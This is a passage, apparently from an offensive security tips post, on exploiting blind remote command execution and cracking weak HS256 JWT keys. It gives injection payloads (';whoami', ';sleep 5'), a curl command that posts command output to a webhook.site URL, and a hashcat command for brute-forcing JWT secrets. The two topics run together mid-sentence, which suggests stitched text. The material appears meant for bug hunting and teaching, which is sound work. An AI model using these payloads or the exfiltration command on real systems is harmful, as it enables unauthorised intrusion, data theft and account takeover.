;whoami
Since the app doesn’t return output (blind RCE), you need a side-channel to confirm it.
• Step 2: Use a Time-Based Payload like ;sleep 5
If the server delays its response by ~5 seconds, it confirms your command executed.
💡This proves RCE is real, even if output is hidden.
• Step 3: Exfiltrate Output Using Webhook.site using a payload like this:
curl -X POST -d "user=$(whoami)" https://webhook.site/YOUR-IDWebhook.site
Visit your unique Webhook.site URL and you’ll see a new request with the POST body: user=www-data
💡That confirms command output was exfiltrated successfully.When apps use HS256, the same key signs and verifies the token. If that key is weak (e.g., secret, 123456, app name…), it can be brute-forced offline.• Attack flow: 1. Capture a valid JWT 2. Use tools like hashcat or jwt-tool to brute-force the key
hashcat -a 0 -m 16500 <jwt> <wordlist>
